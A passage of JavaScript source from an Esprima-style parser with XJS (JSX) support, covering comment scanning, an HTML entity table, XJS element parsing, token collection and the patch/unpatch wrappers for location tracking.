function parseModuleBlock() {
var block;
expect('{');
block = parseModuleElements();
expect('}');
return delegate.createBlockStatement(block);
}
function parseProgram() {
var body;
strict = false;
peek();
body = parseProgramElements();
return delegate.createProgram(body);
}
// The following functions are needed only when the option to preserve
// the comments is active.
function addComment(type, value, start, end, loc) {
assert(typeof start === 'number', 'Comment must have valid position');
// Because the way the actual token is scanned, often the comments
// (if any) are skipped twice during the lexical analysis.
// Thus, we need to skip adding a comment if the comment array already
// handled it.
if (extra.comments.length > 0) {
if (extra.comments[extra.comments.length - 1].range[1] > start) {
return;
}
}
extra.comments.push({
type: type,
value: value,
range: [start, end],
loc: loc
});
}
function scanComment() {
var comment, ch, loc, start, blockComment, lineComment;
comment = '';
blockComment = false;
lineComment = false;
while (index < length) {
ch = source[index];
if (lineComment) {
ch = source[index++];
if (isLineTerminator(ch.charCodeAt(0))) {
loc.end = {
line: lineNumber,
column: index - lineStart - 1
};
lineComment = false;
addComment('Line', comment, start, index - 1, loc);
if (ch === '\r' && source[index] === '\n') {
++index;
}
++lineNumber;
lineStart = index;
comment = '';
} else if (index >= length) {
lineComment = false;
comment += ch;
loc.end = {
line: lineNumber,
column: length - lineStart
};
addComment('Line', comment, start, length, loc);
} else {
comment += ch;
}
} else if (blockComment) {
if (isLineTerminator(ch.charCodeAt(0))) {
if (ch === '\r' && source[index + 1] === '\n') {
++index;
comment += '\r\n';
} else {
comment += ch;
}
++lineNumber;
++index;
lineStart = index;
if (index >= length) {
throwError({}, Messages.UnexpectedToken, 'ILLEGAL');
}
} else {
ch = source[index++];
if (index >= length) {
throwError({}, Messages.UnexpectedToken, 'ILLEGAL');
}
comment += ch;
if (ch === '*') {
ch = source[index];
if (ch === '/') {
comment = comment.substr(0, comment.length - 1);
blockComment = false;
++index;
loc.end = {
line: lineNumber,
column: index - lineStart
};
addComment('Block', comment, start, index, loc);
comment = '';
}
}
}
} else if (ch === '/') {
ch = source[index + 1];
if (ch === '/') {
loc = {
start: {
line: lineNumber,
column: index - lineStart
}
};
start = index;
index += 2;
lineComment = true;
if (index >= length) {
loc.end = {
line: lineNumber,
column: index - lineStart
};
lineComment = false;
addComment('Line', comment, start, index, loc);
}
} else if (ch === '*') {
start = index;
index += 2;
blockComment = true;
loc = {
start: {
line: lineNumber,
column: index - lineStart - 2
}
};
if (index >= length) {
throwError({}, Messages.UnexpectedToken, 'ILLEGAL');
}
} else {
break;
}
} else if (isWhiteSpace(ch.charCodeAt(0))) {
++index;
} else if (isLineTerminator(ch.charCodeAt(0))) {
++index;
if (ch === '\r' && source[index] === '\n') {
++index;
}
++lineNumber;
lineStart = index;
} else {
break;
}
}
}
function filterCommentLocation() {
var i, entry, comment, comments = [];
for (i = 0; i < extra.comments.length; ++i) {
entry = extra.comments[i];
comment = {
type: entry.type,
value: entry.value
};
if (extra.range) {
comment.range = entry.range;
}
if (extra.loc) {
comment.loc = entry.loc;
}
comments.push(comment);
}
extra.comments = comments;
}
// 16 XJS
XHTMLEntities = {
quot: '\u0022',
amp: '&',
apos: "\u0027",
lt: "<",
gt: ">",
nbsp: "\u00A0",
iexcl: "\u00A1",
cent: "\u00A2",
pound: "\u00A3",
curren: "\u00A4",
yen: "\u00A5",
brvbar: "\u00A6",
sect: "\u00A7",
uml: "\u00A8",
copy: "\u00A9",
ordf: "\u00AA",
laquo: "\u00AB",
not: "\u00AC",
shy: "\u00AD",
reg: "\u00AE",
macr: "\u00AF",
deg: "\u00B0",
plusmn: "\u00B1",
sup2: "\u00B2",
sup3: "\u00B3",
acute: "\u00B4",
micro: "\u00B5",
para: "\u00B6",
middot: "\u00B7",
cedil: "\u00B8",
sup1: "\u00B9",
ordm: "\u00BA",
raquo: "\u00BB",
frac14: "\u00BC",
frac12: "\u00BD",
frac34: "\u00BE",
iquest: "\u00BF",
Agrave: "\u00C0",
Aacute: "\u00C1",
Acirc: "\u00C2",
Atilde: "\u00C3",
Auml: "\u00C4",
Aring: "\u00C5",
AElig: "\u00C6",
Ccedil: "\u00C7",
Egrave: "\u00C8",
Eacute: "\u00C9",
Ecirc: "\u00CA",
Euml: "\u00CB",
Igrave: "\u00CC",
Iacute: "\u00CD",
Icirc: "\u00CE",
Iuml: "\u00CF",
ETH: "\u00D0",
Ntilde: "\u00D1",
Ograve: "\u00D2",
Oacute: "\u00D3",
Ocirc: "\u00D4",
Otilde: "\u00D5",
Ouml: "\u00D6",
times: "\u00D7",
Oslash: "\u00D8",
Ugrave: "\u00D9",
Uacute: "\u00DA",
Ucirc: "\u00DB",
Uuml: "\u00DC",
Yacute: "\u00DD",
THORN: "\u00DE",
szlig: "\u00DF",
agrave: "\u00E0",
aacute: "\u00E1",
acirc: "\u00E2",
atilde: "\u00E3",
auml: "\u00E4",
aring: "\u00E5",
aelig: "\u00E6",
ccedil: "\u00E7",
egrave: "\u00E8",
eacute: "\u00E9",
ecirc: "\u00EA",
euml: "\u00EB",
igrave: "\u00EC",
iacute: "\u00ED",
icirc: "\u00EE",
iuml: "\u00EF",
eth: "\u00F0",
ntilde: "\u00F1",
ograve: "\u00F2",
oacute: "\u00F3",
ocirc: "\u00F4",
otilde: "\u00F5",
ouml: "\u00F6",
divide: "\u00F7",
oslash: "\u00F8",
ugrave: "\u00F9",
uacute: "\u00FA",
ucirc: "\u00FB",
uuml: "\u00FC",
yacute: "\u00FD",
thorn: "\u00FE",
yuml: "\u00FF",
OElig: "\u0152",
oelig: "\u0153",
Scaron: "\u0160",
scaron: "\u0161",
Yuml: "\u0178",
fnof: "\u0192",
circ: "\u02C6",
tilde: "\u02DC",
Alpha: "\u0391",
Beta: "\u0392",
Gamma: "\u0393",
Delta: "\u0394",
Epsilon: "\u0395",
Zeta: "\u0396",
Eta: "\u0397",
Theta: "\u0398",
Iota: "\u0399",
Kappa: "\u039A",
Lambda: "\u039B",
Mu: "\u039C",
Nu: "\u039D",
Xi: "\u039E",
Omicron: "\u039F",
Pi: "\u03A0",
Rho: "\u03A1",
Sigma: "\u03A3",
Tau: "\u03A4",
Upsilon: "\u03A5",
Phi: "\u03A6",
Chi: "\u03A7",
Psi: "\u03A8",
Omega: "\u03A9",
alpha: "\u03B1",
beta: "\u03B2",
gamma: "\u03B3",
delta: "\u03B4",
epsilon: "\u03B5",
zeta: "\u03B6",
eta: "\u03B7",
theta: "\u03B8",
iota: "\u03B9",
kappa: "\u03BA",
lambda: "\u03BB",
mu: "\u03BC",
nu: "\u03BD",
xi: "\u03BE",
omicron: "\u03BF",
pi: "\u03C0",
rho: "\u03C1",
sigmaf: "\u03C2",
sigma: "\u03C3",
tau: "\u03C4",
upsilon: "\u03C5",
phi: "\u03C6",
chi: "\u03C7",
psi: "\u03C8",
omega: "\u03C9",
thetasym: "\u03D1",
upsih: "\u03D2",
piv: "\u03D6",
ensp: "\u2002",
emsp: "\u2003",
thinsp: "\u2009",
zwnj: "\u200C",
zwj: "\u200D",
lrm: "\u200E",
rlm: "\u200F",
ndash: "\u2013",
mdash: "\u2014",
lsquo: "\u2018",
rsquo: "\u2019",
sbquo: "\u201A",
ldquo: "\u201C",
rdquo: "\u201D",
bdquo: "\u201E",
dagger: "\u2020",
Dagger: "\u2021",
bull: "\u2022",
hellip: "\u2026",
permil: "\u2030",
prime: "\u2032",
Prime: "\u2033",
lsaquo: "\u2039",
rsaquo: "\u203A",
oline: "\u203E",
frasl: "\u2044",
euro: "\u20AC",
image: "\u2111",
weierp: "\u2118",
real: "\u211C",
trade: "\u2122",
alefsym: "\u2135",
larr: "\u2190",
uarr: "\u2191",
rarr: "\u2192",
darr: "\u2193",
harr: "\u2194",
crarr: "\u21B5",
lArr: "\u21D0",
uArr: "\u21D1",
rArr: "\u21D2",
dArr: "\u21D3",
hArr: "\u21D4",
forall: "\u2200",
part: "\u2202",
exist: "\u2203",
empty: "\u2205",
nabla: "\u2207",
isin: "\u2208",
notin: "\u2209",
ni: "\u220B",
prod: "\u220F",
sum: "\u2211",
minus: "\u2212",
lowast: "\u2217",
radic: "\u221A",
prop: "\u221D",
infin: "\u221E",
ang: "\u2220",
and: "\u2227",
or: "\u2228",
cap: "\u2229",
cup: "\u222A",
"int": "\u222B",
there4: "\u2234",
sim: "\u223C",
cong: "\u2245",
asymp: "\u2248",
ne: "\u2260",
equiv: "\u2261",
le: "\u2264",
ge: "\u2265",
sub: "\u2282",
sup: "\u2283",
nsub: "\u2284",
sube: "\u2286",
supe: "\u2287",
oplus: "\u2295",
otimes: "\u2297",
perp: "\u22A5",
sdot: "\u22C5",
lceil: "\u2308",
rceil: "\u2309",
lfloor: "\u230A",
rfloor: "\u230B",
lang: "\u2329",
rang: "\u232A",
loz: "\u25CA",
spades: "\u2660",
clubs: "\u2663",
hearts: "\u2665",
diams: "\u2666"
};
function isXJSIdentifierStart(ch) {
// exclude backslash (\)
return (ch !== 92) && isIdentifierStart(ch);
}
function isXJSIdentifierPart(ch) {
// exclude backslash (\) and add hyphen (-)
return (ch !== 92) && (ch === 45 || isIdentifierPart(ch));
}
function scanXJSIdentifier() {
var ch, start, id = '', namespace;
start = index;
while (index < length) {
ch = source.charCodeAt(index);
if (!isXJSIdentifierPart(ch)) {
break;
}
id += source[index++];
}
if (ch === 58) { // :
++index;
namespace = id;
id = '';
while (index < length) {
ch = source.charCodeAt(index);
if (!isXJSIdentifierPart(ch)) {
break;
}
id += source[index++];
}
}
if (!id) {
throwError({}, Messages.InvalidXJSTagName);
}
return {
type: Token.XJSIdentifier,
value: id,
namespace: namespace,
lineNumber: lineNumber,
lineStart: lineStart,
range: [start, index]
};
}
function scanXJSEntity() {
var ch, str = '', count = 0, entity;
ch = source[index];
assert(ch === '&', 'Entity must start with an ampersand');
index++;
while (index < length && count++ < 10) {
ch = source[index++];
if (ch === ';') {
break;
}
str += ch;
}
if (str[0] === '#' && str[1] === 'x') {
entity = String.fromCharCode(parseInt(str.substr(2), 16));
} else if (str[0] === '#') {
entity = String.fromCharCode(parseInt(str.substr(1), 10));
} else {
entity = XHTMLEntities[str];
}
return entity;
}
function scanXJSText(stopChars) {
var ch, str = '', start;
start = index;
while (index < length) {
ch = source[index];
if (stopChars.indexOf(ch) !== -1) {
break;
}
if (ch === '&') {
str += scanXJSEntity();
} else {
ch = source[index++];
if (isLineTerminator(ch.charCodeAt(0))) {
++lineNumber;
lineStart = index;
}
str += ch;
}
}
return {
type: Token.XJSText,
value: str,
lineNumber: lineNumber,
lineStart: lineStart,
range: [start, index]
};
}
function scanXJSStringLiteral() {
var innerToken, quote, start;
quote = source[index];
assert((quote === '\'' || quote === '"'),
'String literal must starts with a quote');
start = index;
++index;
innerToken = scanXJSText([quote]);
if (quote !== source[index]) {
throwError({}, Messages.UnexpectedToken, 'ILLEGAL');
}
++index;
innerToken.range = [start, index];
return innerToken;
}
/**
* Between XJS opening and closing tags (e.g. <foo>HERE</foo>), anything that
* is not another XJS tag and is not an expression wrapped by {} is text.
*/
function advanceXJSChild() {
var ch = source.charCodeAt(index);
// { (123) and < (60)
if (ch !== 123 && ch !== 60) {
return scanXJSText(['<', '{']);
}
return scanPunctuator();
}
function parseXJSIdentifier() {
var token;
if (lookahead.type !== Token.XJSIdentifier) {
throwUnexpected(lookahead);
}
token = lex();
return delegate.createXJSIdentifier(token.value, token.namespace);
}
function parseXJSAttributeValue() {
var value;
if (match('{')) {
value = parseXJSExpressionContainer();
if (value.expression.type === Syntax.XJSEmptyExpression) {
throwError(
value,
'XJS attributes must only be assigned a non-empty ' +
'expression'
);
}
} else if (match('<')) {
value = parseXJSElement();
} else if (lookahead.type === Token.XJSText) {
value = delegate.createLiteral(lex());
} else {
throwError({}, Messages.InvalidXJSAttributeValue);
}
return value;
}
function parseXJSEmptyExpression() {
while (source.charAt(index) !== '}') {
index++;
}
return delegate.createXJSEmptyExpression();
}
function parseXJSExpressionContainer() {
var expression, origInXJSChild, origInXJSTag;
origInXJSChild = state.inXJSChild;
origInXJSTag = state.inXJSTag;
state.inXJSChild = false;
state.inXJSTag = false;
expect('{');
if (match('}')) {
expression = parseXJSEmptyExpression();
} else {
expression = parseExpression();
}
state.inXJSChild = origInXJSChild;
state.inXJSTag = origInXJSTag;
expect('}');
return delegate.createXJSExpressionContainer(expression);
}
function parseXJSAttribute() {
var token, name, value;
name = parseXJSIdentifier();
// HTML empty attribute
if (match('=')) {
lex();
return delegate.createXJSAttribute(name, parseXJSAttributeValue());
}
return delegate.createXJSAttribute(name);
}
function parseXJSChild() {
var token;
if (match('{')) {
token = parseXJSExpressionContainer();
} else if (lookahead.type === Token.XJSText) {
token = delegate.createLiteral(lex());
} else {
token = parseXJSElement();
}
return token;
}
function parseXJSClosingElement() {
var name, origInXJSChild, origInXJSTag;
origInXJSChild = state.inXJSChild;
origInXJSTag = state.inXJSTag;
state.inXJSChild = false;
state.inXJSTag = true;
expect('<');
expect('/');
name = parseXJSIdentifier();
// Because advance() (called by lex() called by expect()) expects there
// to be a valid token after >, it needs to know whether to look for a
// standard JS token or an XJS text node
state.inXJSChild = origInXJSChild;
state.inXJSTag = origInXJSTag;
expect('>');
return delegate.createXJSClosingElement(name);
}
function parseXJSOpeningElement() {
var name, attribute, attributes = [], selfClosing = false, origInXJSChild, origInXJSTag;
origInXJSChild = state.inXJSChild;
origInXJSTag = state.inXJSTag;
state.inXJSChild = false;
state.inXJSTag = true;
expect('<');
name = parseXJSIdentifier();
while (index < length &&
lookahead.value !== '/' &&
lookahead.value !== '>') {
attributes.push(parseXJSAttribute());
}
state.inXJSTag = origInXJSTag;
if (lookahead.value === '/') {
expect('/');
// Because advance() (called by lex() called by expect()) expects
// there to be a valid token after >, it needs to know whether to
// look for a standard JS token or an XJS text node
state.inXJSChild = origInXJSChild;
expect('>');
selfClosing = true;
} else {
state.inXJSChild = true;
expect('>');
}
return delegate.createXJSOpeningElement(name, attributes, selfClosing);
}
function parseXJSElement() {
var openingElement, closingElement, children = [], origInXJSChild, origInXJSTag;
origInXJSChild = state.inXJSChild;
origInXJSTag = state.inXJSTag;
openingElement = parseXJSOpeningElement();
if (!openingElement.selfClosing) {
while (index < length) {
state.inXJSChild = false; // Call lookahead2() with inXJSChild = false because </ should not be considered in the child
if (lookahead.value === '<' && lookahead2().value === '/') {
break;
}
state.inXJSChild = true;
peek(); // reset lookahead token
children.push(parseXJSChild());
}
state.inXJSChild = origInXJSChild;
state.inXJSTag = origInXJSTag;
closingElement = parseXJSClosingElement();
if (closingElement.name.namespace !== openingElement.name.namespace || closingElement.name.name !== openingElement.name.name) {
throwError({}, Messages.ExpectedXJSClosingTag, openingElement.name.namespace ? openingElement.name.namespace + ':' + openingElement.name.name : openingElement.name.name);
}
}
return delegate.createXJSElement(openingElement, closingElement, children);
}
function collectToken() {
var start, loc, token, range, value;
skipComment();
start = index;
loc = {
start: {
line: lineNumber,
column: index - lineStart
}
};
token = extra.advance();
loc.end = {
line: lineNumber,
column: index - lineStart
};
if (token.type !== Token.EOF) {
range = [token.range[0], token.range[1]];
value = source.slice(token.range[0], token.range[1]);
extra.tokens.push({
type: TokenName[token.type],
value: value,
range: range,
loc: loc
});
}
return token;
}
function collectRegex() {
var pos, loc, regex, token;
skipComment();
pos = index;
loc = {
start: {
line: lineNumber,
column: index - lineStart
}
};
regex = extra.scanRegExp();
loc.end = {
line: lineNumber,
column: index - lineStart
};
if (!extra.tokenize) {
// Pop the previous token, which is likely '/' or '/='
if (extra.tokens.length > 0) {
token = extra.tokens[extra.tokens.length - 1];
if (token.range[0] === pos && token.type === 'Punctuator') {
if (token.value === '/' || token.value === '/=') {
extra.tokens.pop();
}
}
}
extra.tokens.push({
type: 'RegularExpression',
value: regex.literal,
range: [pos, index],
loc: loc
});
}
return regex;
}
function filterTokenLocation() {
var i, entry, token, tokens = [];
for (i = 0; i < extra.tokens.length; ++i) {
entry = extra.tokens[i];
token = {
type: entry.type,
value: entry.value
};
if (extra.range) {
token.range = entry.range;
}
if (extra.loc) {
token.loc = entry.loc;
}
tokens.push(token);
}
extra.tokens = tokens;
}
function LocationMarker() {
this.range = [index, index];
this.loc = {
start: {
line: lineNumber,
column: index - lineStart
},
end: {
line: lineNumber,
column: index - lineStart
}
};
}
LocationMarker.prototype = {
constructor: LocationMarker,
end: function () {
this.range[1] = index;
this.loc.end.line = lineNumber;
this.loc.end.column = index - lineStart;
},
applyGroup: function (node) {
if (extra.range) {
node.groupRange = [this.range[0], this.range[1]];
}
if (extra.loc) {
node.groupLoc = {
start: {
line: this.loc.start.line,
column: this.loc.start.column
},
end: {
line: this.loc.end.line,
column: this.loc.end.column
}
};
node = delegate.postProcess(node);
}
},
apply: function (node) {
var nodeType = typeof node;
assert(nodeType === 'object',
'Applying location marker to an unexpected node type: ' +
nodeType);
if (extra.range) {
node.range = [this.range[0], this.range[1]];
}
if (extra.loc) {
node.loc = {
start: {
line: this.loc.start.line,
column: this.loc.start.column
},
end: {
line: this.loc.end.line,
column: this.loc.end.column
}
};
node = delegate.postProcess(node);
}
}
};
function createLocationMarker() {
return new LocationMarker();
}
function trackGroupExpression() {
var marker, expr;
skipComment();
marker = createLocationMarker();
expect('(');
++state.parenthesizedCount;
expr = parseExpression();
expect(')');
marker.end();
marker.applyGroup(expr);
return expr;
}
function trackLeftHandSideExpression() {
var marker, expr;
skipComment();
marker = createLocationMarker();
expr = matchKeyword('new') ? parseNewExpression() : parsePrimaryExpression();
while (match('.') || match('[') || lookahead.type === Token.Template) {
if (match('[')) {
expr = delegate.createMemberExpression('[', expr, parseComputedMember());
marker.end();
marker.apply(expr);
} else if (match('.')) {
expr = delegate.createMemberExpression('.', expr, parseNonComputedMember());
marker.end();
marker.apply(expr);
} else {
expr = delegate.createTaggedTemplateExpression(expr, parseTemplateLiteral());
marker.end();
marker.apply(expr);
}
}
return expr;
}
function trackLeftHandSideExpressionAllowCall() {
var marker, expr, args;
skipComment();
marker = createLocationMarker();
expr = matchKeyword('new') ? parseNewExpression() : parsePrimaryExpression();
while (match('.') || match('[') || match('(') || lookahead.type === Token.Template) {
if (match('(')) {
args = parseArguments();
expr = delegate.createCallExpression(expr, args);
marker.end();
marker.apply(expr);
} else if (match('[')) {
expr = delegate.createMemberExpression('[', expr, parseComputedMember());
marker.end();
marker.apply(expr);
} else if (match('.')) {
expr = delegate.createMemberExpression('.', expr, parseNonComputedMember());
marker.end();
marker.apply(expr);
} else {
expr = delegate.createTaggedTemplateExpression(expr, parseTemplateLiteral());
marker.end();
marker.apply(expr);
}
}
return expr;
}
function filterGroup(node) {
var n, i, entry;
n = (Object.prototype.toString.apply(node) === '[object Array]') ? [] : {};
for (i in node) {
if (node.hasOwnProperty(i) && i !== 'groupRange' && i !== 'groupLoc') {
entry = node[i];
if (entry === null || typeof entry !== 'object' || entry instanceof RegExp) {
n[i] = entry;
} else {
n[i] = filterGroup(entry);
}
}
}
return n;
}
function wrapTrackingFunction(range, loc, preserveWhitespace) {
return function (parseFunction) {
function isBinary(node) {
return node.type === Syntax.LogicalExpression ||
node.type === Syntax.BinaryExpression;
}
function visit(node) {
var start, end;
if (isBinary(node.left)) {
visit(node.left);
}
if (isBinary(node.right)) {
visit(node.right);
}
if (range) {
if (node.left.groupRange || node.right.groupRange) {
start = node.left.groupRange ? node.left.groupRange[0] : node.left.range[0];
end = node.right.groupRange ? node.right.groupRange[1] : node.right.range[1];
node.range = [start, end];
} else if (typeof node.range === 'undefined') {
start = node.left.range[0];
end = node.right.range[1];
node.range = [start, end];
}
}
if (loc) {
if (node.left.groupLoc || node.right.groupLoc) {
start = node.left.groupLoc ? node.left.groupLoc.start : node.left.loc.start;
end = node.right.groupLoc ? node.right.groupLoc.end : node.right.loc.end;
node.loc = {
start: start,
end: end
};
node = delegate.postProcess(node);
} else if (typeof node.loc === 'undefined') {
node.loc = {
start: node.left.loc.start,
end: node.right.loc.end
};
node = delegate.postProcess(node);
}
}
}
return function () {
var marker, node;
if (!preserveWhitespace) {
skipComment();
}
marker = createLocationMarker();
node = parseFunction.apply(null, arguments);
marker.end();
if (range && typeof node.range === 'undefined') {
marker.apply(node);
}
if (loc && typeof node.loc === 'undefined') {
marker.apply(node);
}
if (isBinary(node)) {
visit(node);
}
return node;
};
};
}
function patch() {
var wrapTracking, wrapTrackingPreserveWhitespace;
if (extra.comments) {
extra.skipComment = skipComment;
skipComment = scanComment;
}
if (extra.range || extra.loc) {
extra.parseGroupExpression = parseGroupExpression;
extra.parseLeftHandSideExpression = parseLeftHandSideExpression;
extra.parseLeftHandSideExpressionAllowCall = parseLeftHandSideExpressionAllowCall;
parseGroupExpression = trackGroupExpression;
parseLeftHandSideExpression = trackLeftHandSideExpression;
parseLeftHandSideExpressionAllowCall = trackLeftHandSideExpressionAllowCall;
wrapTracking = wrapTrackingFunction(extra.range, extra.loc);
wrapTrackingPreserveWhitespace =
wrapTrackingFunction(extra.range, extra.loc, true);
extra.parseArrayInitialiser = parseArrayInitialiser;
extra.parseAssignmentExpression = parseAssignmentExpression;
extra.parseBinaryExpression = parseBinaryExpression;
extra.parseBlock = parseBlock;
extra.parseFunctionSourceElements = parseFunctionSourceElements;
extra.parseCatchClause = parseCatchClause;
extra.parseComputedMember = parseComputedMember;
extra.parseConditionalExpression = parseConditionalExpression;
extra.parseConstLetDeclaration = parseConstLetDeclaration;
extra.parseExportBatchSpecifier = parseExportBatchSpecifier;
extra.parseExportDeclaration = parseExportDeclaration;
extra.parseExportSpecifier = parseExportSpecifier;
extra.parseExpression = parseExpression;
extra.parseForVariableDeclaration = parseForVariableDeclaration;
extra.parseFunctionDeclaration = parseFunctionDeclaration;
extra.parseFunctionExpression = parseFunctionExpression;
extra.parseParams = parseParams;
extra.parseImportDeclaration = parseImportDeclaration;
extra.parseImportSpecifier = parseImportSpecifier;
extra.parseModuleDeclaration = parseModuleDeclaration;
extra.parseModuleBlock = parseModuleBlock;
extra.parseNewExpression = parseNewExpression;
extra.parseNonComputedProperty = parseNonComputedProperty;
extra.parseObjectInitialiser = parseObjectInitialiser;
extra.parseObjectProperty = parseObjectProperty;
extra.parseObjectPropertyKey = parseObjectPropertyKey;
extra.parsePostfixExpression = parsePostfixExpression;
extra.parsePrimaryExpression = parsePrimaryExpression;
extra.parseProgram = parseProgram;
extra.parsePropertyFunction = parsePropertyFunction;
extra.parseSpreadOrAssignmentExpression = parseSpreadOrAssignmentExpression;
extra.parseTemplateElement = parseTemplateElement;
extra.parseTemplateLiteral = parseTemplateLiteral;
extra.parseTypeAnnotatableIdentifier = parseTypeAnnotatableIdentifier;
extra.parseTypeAnnotation = parseTypeAnnotation;
extra.parseStatement = parseStatement;
extra.parseSwitchCase = parseSwitchCase;
extra.parseUnaryExpression = parseUnaryExpression;
extra.parseVariableDeclaration = parseVariableDeclaration;
extra.parseVariableIdentifier = parseVariableIdentifier;
extra.parseMethodDefinition = parseMethodDefinition;
extra.parseClassDeclaration = parseClassDeclaration;
extra.parseClassExpression = parseClassExpression;
extra.parseClassBody = parseClassBody;
extra.parseXJSIdentifier = parseXJSIdentifier;
extra.parseXJSChild = parseXJSChild;
extra.parseXJSAttribute = parseXJSAttribute;
extra.parseXJSAttributeValue = parseXJSAttributeValue;
extra.parseXJSExpressionContainer = parseXJSExpressionContainer;
extra.parseXJSEmptyExpression = parseXJSEmptyExpression;
extra.parseXJSElement = parseXJSElement;
extra.parseXJSClosingElement = parseXJSClosingElement;
extra.parseXJSOpeningElement = parseXJSOpeningElement;
parseArrayInitialiser = wrapTracking(extra.parseArrayInitialiser);
parseAssignmentExpression = wrapTracking(extra.parseAssignmentExpression);
parseBinaryExpression = wrapTracking(extra.parseBinaryExpression);
parseBlock = wrapTracking(extra.parseBlock);
parseFunctionSourceElements = wrapTracking(extra.parseFunctionSourceElements);
parseCatchClause = wrapTracking(extra.parseCatchClause);
parseComputedMember = wrapTracking(extra.parseComputedMember);
parseConditionalExpression = wrapTracking(extra.parseConditionalExpression);
parseConstLetDeclaration = wrapTracking(extra.parseConstLetDeclaration);
parseExportBatchSpecifier = wrapTracking(parseExportBatchSpecifier);
parseExportDeclaration = wrapTracking(parseExportDeclaration);
parseExportSpecifier = wrapTracking(parseExportSpecifier);
parseExpression = wrapTracking(extra.parseExpression);
parseForVariableDeclaration = wrapTracking(extra.parseForVariableDeclaration);
parseFunctionDeclaration = wrapTracking(extra.parseFunctionDeclaration);
parseFunctionExpression = wrapTracking(extra.parseFunctionExpression);
parseParams = wrapTracking(extra.parseParams);
parseImportDeclaration = wrapTracking(extra.parseImportDeclaration);
parseImportSpecifier = wrapTracking(extra.parseImportSpecifier);
parseModuleDeclaration = wrapTracking(extra.parseModuleDeclaration);
parseModuleBlock = wrapTracking(extra.parseModuleBlock);
parseLeftHandSideExpression = wrapTracking(parseLeftHandSideExpression);
parseNewExpression = wrapTracking(extra.parseNewExpression);
parseNonComputedProperty = wrapTracking(extra.parseNonComputedProperty);
parseObjectInitialiser = wrapTracking(extra.parseObjectInitialiser);
parseObjectProperty = wrapTracking(extra.parseObjectProperty);
parseObjectPropertyKey = wrapTracking(extra.parseObjectPropertyKey);
parsePostfixExpression = wrapTracking(extra.parsePostfixExpression);
parsePrimaryExpression = wrapTracking(extra.parsePrimaryExpression);
parseProgram = wrapTracking(extra.parseProgram);
parsePropertyFunction = wrapTracking(extra.parsePropertyFunction);
parseTemplateElement = wrapTracking(extra.parseTemplateElement);
parseTemplateLiteral = wrapTracking(extra.parseTemplateLiteral);
parseTypeAnnotatableIdentifier = wrapTracking(extra.parseTypeAnnotatableIdentifier);
parseTypeAnnotation = wrapTracking(extra.parseTypeAnnotation);
parseSpreadOrAssignmentExpression = wrapTracking(extra.parseSpreadOrAssignmentExpression);
parseStatement = wrapTracking(extra.parseStatement);
parseSwitchCase = wrapTracking(extra.parseSwitchCase);
parseUnaryExpression = wrapTracking(extra.parseUnaryExpression);
parseVariableDeclaration = wrapTracking(extra.parseVariableDeclaration);
parseVariableIdentifier = wrapTracking(extra.parseVariableIdentifier);
parseMethodDefinition = wrapTracking(extra.parseMethodDefinition);
parseClassDeclaration = wrapTracking(extra.parseClassDeclaration);
parseClassExpression = wrapTracking(extra.parseClassExpression);
parseClassBody = wrapTracking(extra.parseClassBody);
parseXJSIdentifier = wrapTracking(extra.parseXJSIdentifier);
parseXJSChild = wrapTrackingPreserveWhitespace(extra.parseXJSChild);
parseXJSAttribute = wrapTracking(extra.parseXJSAttribute);
parseXJSAttributeValue = wrapTracking(extra.parseXJSAttributeValue);
parseXJSExpressionContainer = wrapTracking(extra.parseXJSExpressionContainer);
parseXJSEmptyExpression = wrapTrackingPreserveWhitespace(extra.parseXJSEmptyExpression);
parseXJSElement = wrapTracking(extra.parseXJSElement);
parseXJSClosingElement = wrapTracking(extra.parseXJSClosingElement);
parseXJSOpeningElement = wrapTracking(extra.parseXJSOpeningElement);
}
if (typeof extra.tokens !== 'undefined') {
extra.advance = advance;
extra.scanRegExp = scanRegExp;
advance = collectToken;
scanRegExp = collectRegex;
}
}
function unpatch() {
if (typeof extra.skipComment === 'function') {
skipComment = extra.skipComment;
}
if (extra.range || extra.loc) {
parseArrayInitialiser = extra.parseArrayInitialiser;
parseAssignmentExpression = extra.parseAssignmentExpression;
parseBinaryExpression = extra.parseBinaryExpression;
parseBlock = extra.parseBlock;
parseFunctionSourceElements = extra.parseFunctionSourceElements;
parseCatchClause = extra.parseCatchClause;
parseComputedMember = extra.parseComputedMember;
parseConditionalExpression = extra.parseConditionalExpression;
parseConstLetDeclaration = extra.parseConstLetDeclaration;
parseExportBatchSpecifier = extra.parseExportBatchSpecifier;
parseExportDeclaration = extra.parseExportDeclaration;
parseExportSpecifier = extra.parseExportSpecifier;
parseExpression = extra.parseExpression;
parseForVariableDeclaration = extra.parseForVariableDeclaration;
parseFunctionDeclaration = extra.parseFunctionDeclaration;
parseFunctionExpression = extra.parseFunctionExpression;
parseImportDeclaration = extra.parseImportDeclaration;
parseImportSpecifier = extra.parseImportSpecifier;
parseGroupExpression = extra.parseGroupExpression;
parseLeftHandSideExpression = extra.parseLeftHandSideExpression;
parseLeftHandSideExpressionAllowCall = extra.parseLeftHandSideExpressionAllowCall;
parseModuleDeclaration = extra.parseModuleDeclaration;
parseModuleBlock = extra.parseModuleBlock;
parseNewExpression = extra.parseNewExpression;
parseNonComputedProperty = extra.parseNonComputedProperty;
parseObjectInitialiser = extra.parseObjectInitialiser;
parseObjectProperty = extra.parseObjectProperty;
parseObjectPropertyKey = extra.parseObjectPropertyKey;
parsePostfixExpression = extra.parsePostfixExpression;
parsePrimaryExpression = extra.parsePrimaryExpression;
parseProgram = extra.parseProgram;
parsePropertyFunction = extra.parsePropertyFunction;
parseTemplateElement = extra.parseTemplateElement;
parseTemplateLiteral = extra.parseTemplateLiteral;
parseTypeAnnotatableIdentifier = extra.parseTypeAnnotatableIdentifier;
parseTypeAnnotation = extra.parseTypeAnnotation;
parseSpreadOrAssignmentExpression = extra.parseSpreadOrAssignmentExpression;
parseStatement = extra.parseStatement;
parseSwitchCase = extra.parseSwitchCase;
parseUnaryExpression = extra.parseUnaryExpression;
parseVariableDeclaration = extra.parseVariableDeclaration;
parseVariableIdentifier = extra.parseVariableIdentifier;
parseMethodDefinition = extra.parseMethodDefinition;
parseClassDeclaration = extra.parseClassDeclaration;
parseClassExpression = extra.parseClassExpression;
parseClassBody = extra.parseClassBody;
parseXJSIdentifier = extra.parseXJSIdentifier;
parseXJSChild = extra.parseXJSChild;
parseXJSAttribute = extra.parseXJSAttribute;
parseXJSAttributeValue = extra.parseXJSAttributeValue;
parseXJSExpressionContainer = extra.parseXJSExpressionContainer;
parseXJSEmptyExpression = extra.parseXJSEmptyExpression;
parseXJSElement = extra.parseXJSElement;
parseXJSClosingElement = extra.parseXJSClosingElement;
parseXJSOpeningElement = extra.parseXJSOpeningElement;
}
